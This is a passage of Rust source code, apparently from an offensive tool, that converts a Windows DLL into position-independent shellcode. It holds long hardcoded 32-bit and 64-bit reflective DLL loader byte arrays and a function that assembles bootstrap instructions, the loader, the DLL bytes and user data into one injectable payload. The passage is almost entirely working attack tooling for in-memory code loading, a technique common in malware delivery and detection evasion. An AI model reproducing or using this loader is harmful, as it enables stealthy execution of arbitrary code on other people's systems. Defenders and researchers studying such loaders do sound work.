210 | 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03,
211 | 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D,
212 | 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
213 | 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B,
214 | 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D,
215 | 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04,
216 | 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10,
217 | 0x03, 0xC2, 0xEB, 0xDB,
218 | ];
219 | let rdi_shellcode_64 = [
220 | 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18,
221 | 0x89, 0x50, 0x10, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48,
222 | 0x8D, 0x68, 0xA9, 0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xF1, 0xB9, 0x4C,
223 | 0x77, 0x26, 0x07, 0xE8, 0xA3, 0x06, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x48, 0x89,
224 | 0x45, 0xB7, 0x4C, 0x8B, 0xE0, 0xE8, 0x92, 0x06, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5,
225 | 0x48, 0x89, 0x45, 0xBF, 0x4C, 0x8B, 0xE8, 0xE8, 0x81, 0x06, 0x00, 0x00, 0xB9, 0x10, 0xE1,
226 | 0x8A, 0xC3, 0x4C, 0x8B, 0xF8, 0xE8, 0x74, 0x06, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94,
227 | 0x48, 0x89, 0x45, 0xD7, 0x48, 0x8B, 0xF8, 0xE8, 0x63, 0x06, 0x00, 0x00, 0xB9, 0x33, 0x00,
228 | 0x9E, 0x95, 0x48, 0x89, 0x45, 0xDF, 0x48, 0x8B, 0xD8, 0xE8, 0x52, 0x06, 0x00, 0x00, 0xB9,
229 | 0x44, 0xF0, 0x35, 0xE0, 0x4C, 0x8B, 0xF0, 0xE8, 0x45, 0x06, 0x00, 0x00, 0x45, 0x33, 0xD2,
230 | 0x48, 0x89, 0x45, 0xC7, 0x4D, 0x85, 0xE4, 0x0F, 0x84, 0x16, 0x06, 0x00, 0x00, 0x4D, 0x85,
231 | 0xED, 0x0F, 0x84, 0x0D, 0x06, 0x00, 0x00, 0x4D, 0x85, 0xFF, 0x0F, 0x84, 0x04, 0x06, 0x00,
232 | 0x00, 0x48, 0x85, 0xFF, 0x0F, 0x84, 0xFB, 0x05, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x0F, 0x84,
233 | 0xF2, 0x05, 0x00, 0x00, 0x4D, 0x85, 0xF6, 0x0F, 0x84, 0xE9, 0x05, 0x00, 0x00, 0x48, 0x85,
234 | 0xC0, 0x0F, 0x84, 0xE0, 0x05, 0x00, 0x00, 0x48, 0x63, 0x7E, 0x3C, 0x48, 0x03, 0xFE, 0x81,
235 | 0x3F, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0xCD, 0x05, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00,
236 | 0x00, 0x66, 0x39, 0x47, 0x04, 0x0F, 0x85, 0xBE, 0x05, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x38,
237 | 0x45, 0x8D, 0x5A, 0x01, 0x45, 0x84, 0xC3, 0x0F, 0x85, 0xAD, 0x05, 0x00, 0x00, 0x0F, 0xB7,
238 | 0x47, 0x06, 0x41, 0x8B, 0xDA, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x28, 0x48, 0x83,
239 | 0xC1, 0x24, 0x44, 0x8B, 0xC8, 0x48, 0x03, 0xCF, 0x8B, 0x51, 0x04, 0x85, 0xD2, 0x75, 0x07,
240 | 0x8B, 0x11, 0x41, 0x03, 0xD0, 0xEB, 0x02, 0x03, 0x11, 0x3B, 0xD3, 0x0F, 0x47, 0xDA, 0x48,
241 | 0x83, 0xC1, 0x28, 0x4D, 0x2B, 0xCB, 0x75, 0xE2, 0x48, 0x8D, 0x4D, 0xE7, 0x41, 0xFF, 0xD6,
242 | 0x8B, 0x55, 0xEB, 0x44, 0x8D, 0x72, 0xFF, 0x44, 0x03, 0x77, 0x50, 0x8D, 0x42, 0xFF, 0xF7,
243 | 0xD0, 0x48, 0x8D, 0x4A, 0xFF, 0x44, 0x23, 0xF0, 0x8B, 0xC3, 0x48, 0x03, 0xC8, 0x48, 0x8D,
244 | 0x42, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x4C, 0x3B, 0xF1, 0x0F, 0x85, 0x40, 0x05,
245 | 0x00, 0x00, 0x48, 0x8B, 0x4F, 0x30, 0x41, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00,
246 | 0x30, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x41, 0xFF, 0xD7, 0x48, 0x8B, 0xD8, 0x48, 0x85, 0xC0,
247 | 0x75, 0x15, 0x44, 0x8D, 0x48, 0x04, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x41, 0x8B, 0xD6,
248 | 0x33, 0xC9, 0x41, 0xFF, 0xD7, 0x48, 0x8B, 0xD8, 0x44, 0x8B, 0x5D, 0x7F, 0x41, 0xBE, 0x01,
249 | 0x00, 0x00, 0x00, 0x45, 0x84, 0xDE, 0x0F, 0x84, 0xB1, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x3C,
250 | 0x89, 0x43, 0x3C, 0x8B, 0x56, 0x3C, 0xEB, 0x0B, 0x8B, 0xCA, 0x41, 0x03, 0xD6, 0x8A, 0x04,
251 | 0x31, 0x88, 0x04, 0x19, 0x3B, 0x57, 0x54, 0x72, 0xF0, 0x45, 0x33, 0xFF, 0x48, 0x63, 0x7B,
252 | 0x3C, 0x45, 0x8B, 0xD7, 0x48, 0x03, 0xFB, 0x48, 0x89, 0x7D, 0xCF, 0x0F, 0xB7, 0x47, 0x14,
253 | 0x66, 0x44, 0x3B, 0x7F, 0x06, 0x73, 0x3E, 0x4C, 0x8D, 0x47, 0x28, 0x4C, 0x03, 0xC0, 0x45,
254 | 0x8B, 0xCF, 0x45, 0x39, 0x38, 0x76, 0x1F, 0x41, 0x8B, 0x50, 0x04, 0x41, 0x8B, 0x48, 0xFC,
255 | 0x41, 0x8B, 0xC1, 0x45, 0x03, 0xCE, 0x48, 0x03, 0xC8, 0x48, 0x03, 0xD0, 0x8A, 0x04, 0x32,
256 | 0x88, 0x04, 0x19, 0x45, 0x3B, 0x08, 0x72, 0xE1, 0x0F, 0xB7, 0x47, 0x06, 0x45, 0x03, 0xD6,
257 | 0x49, 0x83, 0xC0, 0x28, 0x44, 0x3B, 0xD0, 0x72, 0xC9, 0x4C, 0x8B, 0xD3, 0x4C, 0x2B, 0x57,
258 | 0x30, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x44, 0x39, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x0F,
259 | 0x84, 0xD1, 0x00, 0x00, 0x00, 0x44, 0x8B, 0x87, 0xB0, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC3,
260 | 0x45, 0x39, 0x38, 0x0F, 0x84, 0xBE, 0x00, 0x00, 0x00, 0x41, 0xBC, 0x02, 0x00, 0x00, 0x00,
261 | 0x4D, 0x8D, 0x48, 0x08, 0xE9, 0x93, 0x00, 0x00, 0x00, 0x45, 0x33, 0xFF, 0x41, 0x8B, 0xD7,
262 | 0x44, 0x39, 0x7F, 0x54, 0x0F, 0x86, 0x5D, 0xFF, 0xFF, 0xFF, 0x8B, 0xCA, 0x41, 0x03, 0xD6,
263 | 0x8A, 0x04, 0x31, 0x88, 0x04, 0x19, 0x3B, 0x57, 0x54, 0x72, 0xF0, 0xE9, 0x48, 0xFF, 0xFF,
264 | 0xFF, 0x41, 0x0F, 0xB7, 0x01, 0x0F, 0xB7, 0xC8, 0x66, 0xC1, 0xE9, 0x0C, 0x66, 0x83, 0xF9,
265 | 0x0A, 0x75, 0x11, 0x41, 0x8B, 0x08, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x03, 0xC3, 0x4C,
266 | 0x01, 0x14, 0x01, 0xEB, 0x49, 0x66, 0x83, 0xF9, 0x03, 0x75, 0x0E, 0x25, 0xFF, 0x0F, 0x00,
267 | 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x41, 0x8B, 0xC2, 0xEB, 0x2E, 0x66, 0x41, 0x3B, 0xCE, 0x75,
268 | 0x15, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x49, 0x8B, 0xC2, 0x48, 0xC1,
269 | 0xE8, 0x10, 0x0F, 0xB7, 0xC0, 0xEB, 0x13, 0x66, 0x41, 0x3B, 0xCC, 0x75, 0x14, 0x25, 0xFF,
270 | 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x41, 0x0F, 0xB7, 0xC2, 0x41, 0x8B, 0x10, 0x48,
271 | 0x01, 0x04, 0x0A, 0x4D, 0x03, 0xCC, 0x41, 0x8B, 0x40, 0x04, 0x49, 0x03, 0xC0, 0x4C, 0x3B,
272 | 0xC8, 0x75, 0x86, 0x4D, 0x8B, 0xC1, 0x45, 0x39, 0x39, 0x0F, 0x85, 0x4C, 0xFF, 0xFF, 0xFF,
273 | 0x4C, 0x8B, 0x65, 0xB7, 0x44, 0x39, 0xBF, 0x94, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x45, 0x01,
274 | 0x00, 0x00, 0x44, 0x8B, 0x87, 0x90, 0x00, 0x00, 0x00, 0x45, 0x8B, 0xEF, 0x4C, 0x03, 0xC3,
275 | 0x49, 0x8D, 0x40, 0x0C, 0xEB, 0x07, 0x45, 0x03, 0xEE, 0x48, 0x8D, 0x40, 0x14, 0x44, 0x39,
276 | 0x38, 0x75, 0xF4, 0x41, 0x8B, 0xC3, 0x83, 0xE0, 0x04, 0x89, 0x45, 0xB3, 0x0F, 0x84, 0x82,
277 | 0x00, 0x00, 0x00, 0x45, 0x3B, 0xEE, 0x76, 0x7D, 0x41, 0xC1, 0xEB, 0x10, 0x45, 0x8D, 0x4D,
278 | 0xFF, 0x44, 0x89, 0x5D, 0x7F, 0x45, 0x8B, 0xDF, 0x45, 0x85, 0xC9, 0x74, 0x6F, 0x4D, 0x8B,
279 | 0xD0, 0x41, 0x0F, 0x10, 0x02, 0x33, 0xD2, 0x41, 0x8B, 0xCD, 0x41, 0x2B, 0xCB, 0x69, 0xF6,
280 | 0xFD, 0x43, 0x03, 0x00, 0xB8, 0xFF, 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x33, 0xD2, 0x81, 0xC6,
281 | 0xC3, 0x9E, 0x26, 0x00, 0x41, 0x8D, 0x0C, 0x06, 0x8B, 0xC6, 0xC1, 0xE8, 0x10, 0x25, 0xFF,
282 | 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x41, 0x03, 0xC3, 0x45, 0x03, 0xDE, 0x48, 0x8D, 0x0C, 0x80,
283 | 0x41, 0x8B, 0x54, 0x88, 0x10, 0x41, 0x0F, 0x10, 0x0C, 0x88, 0x41, 0x0F, 0x11, 0x04, 0x88,
284 | 0x41, 0x8B, 0x42, 0x10, 0x41, 0x89, 0x44, 0x88, 0x10, 0x41, 0x0F, 0x11, 0x0A, 0x41, 0x89,
285 | 0x52, 0x10, 0x4D, 0x8D, 0x52, 0x14, 0x45, 0x3B, 0xD9, 0x72, 0x9C, 0xEB, 0x06, 0x8B, 0x45,
286 | 0xB3, 0x89, 0x45, 0x7F, 0x8B, 0xB7, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xF3, 0x8B, 0x46,
287 | 0x0C, 0x85, 0xC0, 0x74, 0x7B, 0x8B, 0x7D, 0x7F, 0x8B, 0xC8, 0x48, 0x03, 0xCB, 0x41, 0xFF,
288 | 0xD4, 0x44, 0x8B, 0x3E, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x76, 0x10, 0x4C, 0x03, 0xFB, 0x4C,
289 | 0x03, 0xF3, 0x49, 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x74, 0x2D, 0x48, 0x8B, 0x7D, 0xBF, 0x79,
290 | 0x05, 0x0F, 0xB7, 0xD1, 0xEB, 0x07, 0x48, 0x8D, 0x51, 0x02, 0x48, 0x03, 0xD3, 0x49, 0x8B,
291 | 0xCC, 0xFF, 0xD7, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49,
292 | 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x75, 0xDA, 0x8B, 0x7D, 0x7F, 0x45, 0x33, 0xFF, 0x44, 0x39,
293 | 0x7D, 0xB3, 0x74, 0x0F, 0x41, 0x83, 0xFD, 0x01, 0x76, 0x09, 0x69, 0xCF, 0xE8, 0x03, 0x00,
294 | 0x00, 0xFF, 0x55, 0xC7, 0x8B, 0x46, 0x20, 0x48, 0x83, 0xC6, 0x14, 0x4C, 0x8B, 0x65, 0xB7,
295 | 0x85, 0xC0, 0x75, 0x8C, 0x48, 0x8B, 0x7D, 0xCF, 0x4C, 0x8B, 0x6D, 0xBF, 0x44, 0x39, 0xBF,
296 | 0xF4, 0x00, 0x00, 0x00, 0x74, 0x68, 0x44, 0x8B, 0xB7, 0xF0, 0x00, 0x00, 0x00, 0x49, 0x83,
297 | 0xC6, 0x04, 0x4C, 0x03, 0xF3, 0xEB, 0x53, 0x41, 0x8B, 0x0E, 0x48, 0x03, 0xCB, 0x41, 0xFF,
298 | 0xD4, 0x41, 0x8B, 0x76, 0x08, 0x4C, 0x8B, 0xE0, 0x45, 0x8B, 0x7E, 0x0C, 0x48, 0x03, 0xF3,
299 | 0x4C, 0x03, 0xFB, 0xEB, 0x25, 0x49, 0x8B, 0x0F, 0x48, 0x85, 0xC9, 0x79, 0x05, 0x0F, 0xB7,
300 | 0xD1, 0xEB, 0x07, 0x48, 0x8D, 0x51, 0x02, 0x48, 0x03, 0xD3, 0x49, 0x8B, 0xCC, 0x41, 0xFF,
301 | 0xD5, 0x48, 0x89, 0x06, 0x48, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x33, 0xC0, 0x48,
302 | 0x39, 0x06, 0x75, 0xD4, 0x4C, 0x8B, 0x65, 0xB7, 0x49, 0x83, 0xC6, 0x20, 0x45, 0x33, 0xFF,
303 | 0x45, 0x39, 0x3E, 0x75, 0xA8, 0x45, 0x8B, 0xF7, 0x0F, 0xB7, 0x47, 0x14, 0x41, 0xBC, 0x01,
304 | 0x00, 0x00, 0x00, 0x66, 0x44, 0x3B, 0x7F, 0x06, 0x0F, 0x83, 0xCF, 0x00, 0x00, 0x00, 0x4C,
305 | 0x8B, 0x7D, 0xD7, 0x48, 0x8D, 0x77, 0x3C, 0x48, 0x03, 0xF0, 0x45, 0x33, 0xC9, 0x44, 0x39,
306 | 0x4E, 0xEC, 0x0F, 0x84, 0xA0, 0x00, 0x00, 0x00, 0x8B, 0x0E, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E,
307 | 0x8B, 0xC1, 0x41, 0x23, 0xD4, 0xC1, 0xE8, 0x1D, 0xC1, 0xE9, 0x1F, 0x41, 0x23, 0xC4, 0x75,
308 | 0x24, 0x85, 0xD2, 0x75, 0x0E, 0xF7, 0xD9, 0x45, 0x1B, 0xC0, 0x41, 0x83, 0xE0, 0x07, 0x45,
309 | 0x03, 0xC4, 0xEB, 0x4F, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x45, 0x1B, 0xC0, 0x44,
310 | 0x23, 0xC0, 0x44, 0x03, 0xC0, 0xEB, 0x3D, 0x85, 0xD2, 0x75, 0x20, 0x85, 0xC9, 0x75, 0x06,
311 | 0x44, 0x8D, 0x42, 0x10, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x12, 0x85, 0xC9, 0x74, 0x08, 0x41,
312 | 0xB8, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x1F, 0x44, 0x8B, 0x45, 0xAF, 0xEB, 0x1D, 0x85, 0xC9,
313 | 0x75, 0x06, 0x44, 0x8D, 0x41, 0x20, 0xEB, 0x0F, 0x44, 0x8B, 0x45, 0xAF, 0x85, 0xC9, 0xB8,
314 | 0x40, 0x00, 0x00, 0x00, 0x44, 0x0F, 0x45, 0xC0, 0x44, 0x89, 0x45, 0xAF, 0xF7, 0x06, 0x00,
315 | 0x00, 0x00, 0x04, 0x74, 0x09, 0x41, 0x0F, 0xBA, 0xE8, 0x09, 0x44, 0x89, 0x45, 0xAF, 0x8B,
316 | 0x4E, 0xE8, 0x4C, 0x8D, 0x4D, 0xAF, 0x8B, 0x56, 0xEC, 0x48, 0x03, 0xCB, 0x41, 0xFF, 0xD7,
317 | 0x45, 0x33, 0xC9, 0x0F, 0xB7, 0x47, 0x06, 0x45, 0x03, 0xF4, 0x48, 0x83, 0xC6, 0x28, 0x44,
318 | 0x3B, 0xF0, 0x0F, 0x82, 0x42, 0xFF, 0xFF, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xC0, 0x33,
319 | 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0xFF, 0x55, 0xDF, 0x44, 0x39, 0xBF, 0xD4, 0x00, 0x00, 0x00,
320 | 0x74, 0x24, 0x8B, 0x87, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x74, 0x18, 0x18, 0xEB, 0x0F,
321 | 0x45, 0x33, 0xC0, 0x41, 0x8B, 0xD4, 0x48, 0x8B, 0xCB, 0xFF, 0xD0, 0x48, 0x8D, 0x76, 0x08,
322 | 0x48, 0x8B, 0x06, 0x48, 0x85, 0xC0, 0x75, 0xE9, 0x8B, 0x47, 0x28, 0x4D, 0x8B, 0xC4, 0x48,
323 | 0x03, 0xC3, 0x41, 0x8B, 0xD4, 0x48, 0x8B, 0xCB, 0xFF, 0xD0, 0x8B, 0x75, 0x67, 0x85, 0xF6,
324 | 0x0F, 0x84, 0x96, 0x00, 0x00, 0x00, 0x44, 0x39, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x0F, 0x84,
325 | 0x89, 0x00, 0x00, 0x00, 0x8B, 0x8F, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x44, 0x8B,
326 | 0x59, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x77, 0x44, 0x39, 0x79, 0x14, 0x74, 0x71, 0x44, 0x8B,
327 | 0x49, 0x20, 0x41, 0x8B, 0xFF, 0x8B, 0x51, 0x24, 0x4C, 0x03, 0xCB, 0x48, 0x03, 0xD3, 0x45,
328 | 0x85, 0xDB, 0x74, 0x5C, 0x45, 0x8B, 0x01, 0x45, 0x8B, 0xD7, 0x4C, 0x03, 0xC3, 0x74, 0x51,
329 | 0xEB, 0x10, 0x0F, 0xBE, 0xC0, 0x41, 0x03, 0xC2, 0x44, 0x8B, 0xD0, 0x41, 0xC1, 0xCA, 0x0D,
330 | 0x4D, 0x03, 0xC4, 0x41, 0x8A, 0x00, 0x84, 0xC0, 0x75, 0xE9, 0x41, 0x3B, 0xF2, 0x75, 0x05,
331 | 0x48, 0x85, 0xD2, 0x75, 0x16, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x41, 0x03, 0xFC, 0x48, 0x03,
332 | 0xD0, 0x49, 0x83, 0xC1, 0x04, 0x41, 0x3B, 0xFB, 0x73, 0x1A, 0xEB, 0xBC, 0x8B, 0x49, 0x1C,
333 | 0x0F, 0xB7, 0x12, 0x48, 0x03, 0xCB, 0x8B, 0x04, 0x91, 0x8B, 0x55, 0x77, 0x48, 0x03, 0xC3,
334 | 0x48, 0x8B, 0x4D, 0x6F, 0xFF, 0xD0, 0x48, 0x8B, 0xC3, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B,
335 | 0x9C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x90, 0x00, 0x00, 0x00, 0x41, 0x5F,
336 | 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C,
337 | 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B,
338 | 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A,
339 | 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41,
340 | 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F,
341 | 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4,
342 | 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2,
343 | 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA,
344 | 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49,
345 | 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20,
346 | 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49,
347 | 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB,
348 | 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B,
349 | 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF,
350 | 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41,
351 | 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,
352 | 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10,
353 | 0x5F, 0xC3,
354 | ];
355 | let user_data = if user_data_.is_empty() {
356 | "None".as_bytes().to_vec()
357 | } else {
358 | user_data_
359 | };
360 | let mut final_shellcode: Vec = Vec::new();
361 |
362 | if is_64bit_dll(&dll_bytes) {
363 | // x64
364 | let bootstrap_size = 64;
365 |
366 | // call next intruction (Pushes next intruction address to stack)
367 | let mut bootstrap = Vec::new();
368 | bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]);
369 |
370 | // Set the offset to our DLL from pop result
371 | let dll_offset = bootstrap_size - bootstrap.len() + rdi_shellcode_64.len();
372 |
373 | // pop rcx - Capture our current location in memory
374 | bootstrap.extend_from_slice(&[0x59]);
375 |
376 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
377 | bootstrap.extend_from_slice(&[0x49, 0x89, 0xc8]);
378 |
379 | // add rcx,
380 | bootstrap.extend_from_slice(&[0x48, 0x81, 0xc1]);
381 | bootstrap.extend_from_slice(&pack(dll_offset as u32));
382 |
383 | // mov edx,
384 | bootstrap.extend_from_slice(&[0xba]);
385 | bootstrap.extend_from_slice(&function_hash);
386 |
387 | // Setup the location of our user data
388 | // add r8, +
389 | bootstrap.extend_from_slice(&[0x49, 0x81, 0xc0]);
390 | let user_data_location = dll_offset + dll_bytes.len();
391 | bootstrap.extend_from_slice(&pack(user_data_location as u32));
392 |
393 | // mov r9d,
394 | bootstrap.extend_from_slice(&[0x41, 0xb9]);
395 | bootstrap.extend_from_slice(&pack(user_data.len() as u32));
396 |
397 | // push rsi - save original value
398 | bootstrap.extend_from_slice(&[0x56]);
399 |
400 | // mov rsi, rsp - store our current stack pointer for later
401 | bootstrap.extend_from_slice(&[0x48, 0x89, 0xe6]);
402 |
403 | // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
404 | bootstrap.extend_from_slice(&[0x48, 0x83, 0xe4, 0xf0]);
405 |
406 | // sub rsp, 0x30 - Create some breathing room on the stack
407 | bootstrap.extend_from_slice(&[0x48, 0x83, 0xec]);
408 | bootstrap.extend_from_slice(&[0x30]); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
409 |
410 | // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space
411 | bootstrap.extend_from_slice(&[0xC7, 0x44, 0x24]);
412 | bootstrap.extend_from_slice(&[0x20]);
413 | bootstrap.extend_from_slice(&pack(flags as u32));
414 |
415 | // call - Transfer execution to the RDI
416 | bootstrap.extend_from_slice(&[0xe8]);
417 | let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4;
418 | bootstrap.extend_from_slice(&[remainder_of_instructions as u8]); // Skip over the remainder of instructions
419 | bootstrap.extend_from_slice(&[0x00, 0x00, 0x00]);
420 |
421 | // mov rsp, rsi - Reset our original stack pointer
422 | bootstrap.extend_from_slice(&[0x48, 0x89, 0xf4]);
423 |
424 | // pop rsi - Put things back where we left them
425 | bootstrap.extend_from_slice(&[0x5e]);
426 |
427 | // ret - return to caller
428 | bootstrap.extend_from_slice(&[0xc3]);
429 |
430 | // Ends up looking like this in memory:
431 | // Bootstrap shellcode
432 | // RDI shellcode
433 | // DLL bytes
434 | // User data
435 | final_shellcode.extend_from_slice(&bootstrap);
436 | final_shellcode.extend_from_slice(&rdi_shellcode_64);
437 | final_shellcode.extend_from_slice(&dll_bytes);
438 | final_shellcode.extend_from_slice(&user_data);
439 | } else {
440 | // x86
441 | let bootstrap_size = 45;
442 |
443 | // call next intruction (Pushes next intruction address to stack)
444 | let mut bootstrap = Vec::new();
445 | bootstrap.extend_from_slice(&[0xe8, 0x00, 0x00, 0x00, 0x00]);
446 |
447 | // Set the offset to our DLL from pop result
448 | let dll_offset = bootstrap_size - bootstrap.len() + rdi_shellcode_32.len();
449 |
450 | // pop eax - Capture our current location in memory
451 | bootstrap.extend_from_slice(&[0x58]);
452 |
453 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax
454 | bootstrap.extend_from_slice(&[0x89, 0xc3]);
455 |
456 | // add eax,
457 | bootstrap.extend_from_slice(&[0x05]);
458 | bootstrap.extend_from_slice(&pack(dll_offset as u32));
459 |
460 | // add ebx, +
461 | bootstrap.extend_from_slice(&[0x81, 0xc3]);
462 | let user_data_location = dll_offset + dll_bytes.len();
463 | bootstrap.extend_from_slice(&pack(user_data_location as u32));
464 |
465 | // push
466 | bootstrap.extend_from_slice(&[0x68]);
467 | bootstrap.extend_from_slice(&pack(flags as u32));
468 |
469 | // push
470 | bootstrap.extend_from_slice(&[0x68]);
471 | bootstrap.extend_from_slice(&pack(user_data.len() as u32));
472 |
473 | // push ebx
474 | bootstrap.extend_from_slice(&[0x53]);
475 |
476 | // push
477 | bootstrap.extend_from_slice(&[0x68]);
478 | bootstrap.extend_from_slice(&function_hash);
479 |
480 | // push eax
481 | bootstrap.extend_from_slice(&[0x50]);
482 |
483 | // call - Transfer execution to the RDI
484 | bootstrap.extend_from_slice(&[0xe8]);
485 | let remainder_of_instructions = bootstrap_size - bootstrap.len() - 4;
486 | bootstrap.extend_from_slice(&[remainder_of_instructions as u8]);
487 | bootstrap.extend_from_slice(&[0x00, 0x00, 0x00]);
488 |
489 | // add esp, 0x14 - correct the stack pointer
490 | bootstrap.extend_from_slice(&[0x83, 0xc4, 0x14]);
491 |
492 | // ret - return to caller
493 | bootstrap.extend_from_slice(&[0xc3]);
494 |
495 | // Ends up looking like this in memory:
496 | // Bootstrap shellcode
497 | // RDI shellcode
498 | // DLL bytes
499 | // User data
500 | final_shellcode.extend_from_slice(&bootstrap);
501 | final_shellcode.extend_from_slice(&rdi_shellcode_32);
502 | final_shellcode.extend_from_slice(&dll_bytes);
503 | final_shellcode.extend_from_slice(&user_data);
504 | }
505 | final_shellcode
506 | }
507 |
508 | pub fn shellcode_rdi_to_file(dll_path: &str, function_name: &str) {
